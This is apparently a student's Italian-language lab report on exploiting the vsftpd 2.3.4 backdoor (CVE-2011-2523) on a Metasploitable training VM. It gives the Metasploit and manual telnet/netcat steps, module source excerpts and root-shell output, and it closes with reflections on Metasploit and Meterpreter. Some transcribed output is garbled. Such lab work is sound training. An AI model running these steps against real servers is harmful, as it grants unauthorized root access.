

Cyber Security Report



W15D1

20/10/2025

Autore :

Pace Massimiliano

email : efmpas@gmail.com

Indice :

- ° Spiegazione esercizio e svolgimento pag. 1 - 4
- ° Esercizio facoltativo pag. 5 - 6
- ° Conclusioni-Riflessioni pag. 7

Creazione cartella ottenendo il root di Metasploit utilizzando la vulnerabilità CVE-2011-2523

Per completare l'esercizio su vsftpd 2.3.4 in Metasploitable, dobbiamo prima ottenere una shell sul target e poi creare la cartella richiesta. Il servizio vulnerabile spawna una shell in ascolto su porta 6200 quando effettui un login FTP con un nome utente che termina con ":)"; quindi l'accesso remoto è immediato una volta innescato il backdoor CVE-2011-2523.

```
kali@kali: ~/Desktop
File Actions Edit View Help
OPTIONS:
  -c, --clear    Clear the values, explicitly setting to nil (default)
  -g, --global   Operate on global datastore variables
  -h, --help     Help banner.

msf exploit(unix/ftp/vsftpd_234_backdoor) > set
Global
_____
No entries in data store.

Module: unix/ftp/vsftpd_234_backdoor
_____
SHELL
_____
Name          Value
_____
CHOST
CPORT
ConnectTimeout 10
ContextInformationFile
DisablePayloadHandler false
EnableContextEncoding false
Proxies
RHOSTS        192.168.50.101
RPORT          21
SSL            false
SSLCipher
SSLKeyLogFile
SSLServerNameIndication
SSLVerifyMode PEER
SSLVersion     Auto
TCP:::max_send_size 0
TCP:::send_delay 0
USERNAME      test:)
VERBOSE
WORKSPACE
WfsDelay       2
_____
[*] msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.50.101:21 - The port used by the backdoor bind listener is already open
[*] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
```

dopo aver aggiornato metasploit framework

- nmap -sV -p21 192.168.50.101 facciamo una scansione con nmap sulla porta 21
- nmap --script ftp-vsftpd-backdoor -p21 192.168.50.101 testiamo la backdoor

Entriamo in msfconsole e carichiamo il modulo :

- use exploit/unix/ftp/vsftpd_234_backdoor per sfruttare la CVE-2011-2535
- Impostiamo sia RHOST CHE RPORT

Set RHOSTS 192.168.50.101

Set RPORT 21

AVVIAMO col comando RUN per collegarci alla Shell sulla 6200

```
kali@kali: ~/Desktop
File Actions Edit View Help
WiDelay 2
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.50.101:21
[*] 192.168.50.101:21 - The port used by the backdoor bind listener is already open
[*] 192.168.50.101:21 - UID: uid@(root) gid@(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.4:43217 -> 192.168.50.101:6200) at 2025-10-20 12:50:28 +0200

session 1
sh: Line 6: session: command not found
id
uid@(root) gid@(root)
mkdir /test_metaspl0it
ls -ld /test_metaspl0it
drwxr-xr-x 2 root root 4096 Oct 20 06:31 /test_metaspl0it
Info
info: Writing node (dir)Top ...
File: dir Node: Top This is the top of the INFO tree
This (the Directory node) gives a menu of major topics.
Typing "q" exits, "*" lists all Info commands, "d" returns here,
"mcoreutils<return>" visits Coreutils topic, etc.
Or click mouse button 2 on a menu item or cross reference to select it.
-- PLEASE ADD DOCUMENTATION TO THIS TREE. (See INFO topic first.) --
In Ubuntu, Info 'die' entries are added with the command
install-info'. Please refer to install-info(8) for usage details.

* Menu: The list of major topics begins on the next line.

Basics
* Coreutils: (coreutils) Core GNU (file, text, shell) utilities.
* Common options: (coreutils)Common options.
* File permissions: (coreutils)File permissions.
* Date input formats: (coreutils)Date input formats.
* Finding files: (find). Operating on files matching certain criteria.

Miscellaneous:
* Rluserman: (rluserman). GNU Readline Library API
Utilities
```

Una volta dentro digitiamo pwd per sapere in quale cartella siamo andiamo in root e tramite comando mkdir creiamo la cartella test_metaspl0it

kali@kali: ~/Desktop

File Actions Edit View Help

k Management

* Fdutils: (fdutils).

wireshark Linux floppy utilities

GNU Libraries

* libidn: (libidn).

Internationalized string processing
library.

Information:

* Debian menu: (menu).

The Debian menu system

General Commands

* Cpio: (cpio).

A program to manage archives of files.

* Ed: (ed).

The GNU line editor.

* Screen: (screen).

Full-screen window manager.

* sed: (sed).

Stream EDitor.

* Time: (time).

A utility to time the execution of a

command

ls

bin

boot

cdrom

dev

etc

home

initrd

initrd.img

lib

lost+found

media

mnt

nohup.out

opt

proc

root

sbin

srv

sys

test_metaspoit

tmp

usr

var

vmlinuz

sessions 1

[*] Session 1 is already interactive.

File Macchina Visualizza Inserimento Dispositivi Aiuto

To access official Ubuntu documentation, please visit:

<http://help.ubuntu.com/>

No mail.

nsfadmin@netasploit:~\$ ls

vulnerable

nsfadmin@netasploit:~\$ cd

vulnerable

nsfadmin@netasploit:~\$ ls

vulnerable

nsfadmin@netasploit:~\$ sudo ls

[sudo] password for nsfadmin:

vulnerable

nsfadmin@netasploit:~\$ cd root

-bash: cd: root: No such file or directory

nsfadmin@netasploit:~\$ search

-bash: search: command not found

nsfadmin@netasploit:~\$ pwd

/hone/nsfadmin

nsfadmin@netasploit:~\$ cd ..

nsfadmin@netasploit:~/hone\$ cd ..

nsfadmin@netasploit:~/

\$ ls

bin dev initrd lost+found nohup.out root sys usr

boot etc initrd.img media opt sbin test_metaspoit var

cdrom home lib mnt proc srv tmp vmlinuz

nsfadmin@netasploit:~\$ _

Analizziamo il codice con il comando edit

```
kali㉿kali: ~/Desktop
```

File Actions Edit View Help

```
update_info(
    info,
    'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',
    'Description' => %q{
        This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.
    },
    'Author' => [ 'hdm', 'MC' ],
    'License' => MSF_LICENSE,
    'References' => [
        [ 'CVE', '2011-2523' ],
        [ 'OSVDB', '73573' ],
        [ 'URL', 'http://pastebin.com/AetT9sS5' ],
        [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
    ],
    'Privileged' => true,
    'Platform' => [ 'unix' ],
    'Arch' => ARCH_CMD,
    'Payload' => {
        'Space' => 2000,
        'BadChars' => '',
        'DisableNops' => true,
        'Compat' => {
            {
                'PayloadType' => 'cmd_interact',
                'ConnectionType' => 'find'
            }
        }
    },
    'Targets' => [
        [ 'Automatic', {} ],
    ],
    'DisclosureDate' => '2011-07-03',
    'DefaultTarget' => 0,
    'Notes' => {
        'Reliability' => UNKNOWN_RELIABILITY,
        'Stability' => UNKNOWN_STABILITY,
        'SideEffects' => UNKNOWN_SIDE_EFFECTS
    }
)
)

register_options([ Opt::RPORT(21) ])
```

45,1 16%

```
def exploit
  nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
  if nsock
    print_status("The port used by the backdoor bind listener is already open")
    handle_backdoor(nsock)
    return
  end

  # Connect to the FTP service port first
  connect

  banner = sock.get_once(-1, 30).to_s
  print_status("Banner: #{banner.strip}")

  sock.put("USER #[rand_text_alphanumeric(rand(6) + 1)}\r\n")
  resp = sock.get_once(-1, 30).to_s
  print_status("USER: #{resp.strip}")

  if resp =~ /^530 /
    print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
    disconnect
    return
  end

  if resp !~ /331 /
    print_error("This server did not respond as expected: #{resp.strip}")
    disconnect
    return
  end

  sock.put("PASS #[rand_text_alphanumeric(rand(6) + 1)}\r\n")

  # Do not bother reading the response from password, just try the backdoor
  nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
  if nsock
    print_good("Backdoor service has been spawned, handling ... ")
    handle_backdoor(nsock)
    return
  end
```

60,1 73%

Eseguiamo l'exploit con telnet e nc

```
kali@kali: ~
File Actions Edit View Help
[(kali㉿kali)-~]
$ nc -nv 192.168.50.101
no port[s] to connect to

[(kali㉿kali)-~]
$ nc -nv 192.168.50.101 6200
(UNKNOWN) [192.168.50.101] 6200 (?) open
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
[]

kali@kali: ~/Desktop
File Actions Edit View Help
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER prova:
331 Please specify the password.
PASS x
^]
quit

nc -nv 192.168.50.101
id
ls
nc -nv 192.168.50.101 6200
id
^c
exit
Connection closed by foreign host.

[(kali㉿kali)-~/Desktop]
$ nc -nv 192.168.50.101 21
(UNKNOWN) [192.168.50.101] 21 (ftp) open
220 (vsFTPd 2.3.4)
USER epicode:
331 Please specify the password.
Pass ss

kali@kali: ~/Desktop
File Actions Edit View Help
[(kali㉿kali)-~/Desktop]
$ telnet 192.168.50.101 21
Trying 192.168.50.101 ...
Connected to 192.168.50.101.
Escape character is '^>'.
220 (vsFTPd 2.3.4)
USER prova:
331 Please specify the password.
PASS x
^]
quit

kali@kali: ~
File Actions Edit View Help
[(kali㉿kali)-~]
$ nc -nv 192.168.50.101 6200
(UNKNOWN) [192.168.50.101] 6200 (?) open
id
uid=0(root) gid=0(root)
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
[]
```

Conclusioni Riflessioni

In sintesi, Metasploit Framework è lo standard open-source per orchestrare exploit, payload e post-exploitation in modo ripetibile e documentabile nei penetration test, mentre Meterpreter è il payload avanzato che abilita controllo interattivo in memoria sul target compromesso.

Usati insieme offrono velocità di sviluppo, ampia copertura di vulnerabilità e una pipeline di test realistica, ma richiedono attenzione a rilevabilità, autorizzazioni e igiene operativa. Metasploit fornisce una vasta libreria di moduli organizzati per exploit, auxiliary, post, payload, encoder e NOP, semplificando l'intero ciclo di un attacco controllato.

Il framework integra flussi di lavoro con scanner e gestisce import da strumenti come Nmap, Nessus e OpenVAS per collegare rapidamente risultati di discovery a moduli di exploit. L'ecosistema include console, API e documentazione stabile, rendendo l'automazione e la riproducibilità parte naturale del processo di test.

Ampio database e community attiva per aggiornamenti continui e portabilità su più piattaforme.

Installazione e uso guidati con guide ufficiali per ambienti diversi e percorsi "getting started"

Meterpreter è un payload avanzato, residente in memoria, con canale cifrato e un set estendibile di comandi per file, processi, rete, keylogging, screenshot e pivoting.

La gestione delle sessioni consente interazione multi-canale, esecuzione di script post-sfruttamento e migrazione tra processi per stabilità e persistenza temporanea.

È possibile usarlo anche senza sfruttare una vulnerabilità pre-esistente, ad esempio in scenari di test locali con listener e payload handler.

Potenza operativa elevata, ma opsec complessa per ridurre IOC e firme note.

Ideale per addestramento e dimostrazione d'impatto quando si vuole mostrare cosa comporta un compromesso reale.

Devo ammettere che scoprire dell'esistenza dei metasploit framework e Meterpreter mi ha esaltato e non poco. Ho toccato con mano ciò che si può realmente fare con dei veri sistemi di hacking. Sono molto fiducioso e curioso su ciò che scopro' da qui a dicembre.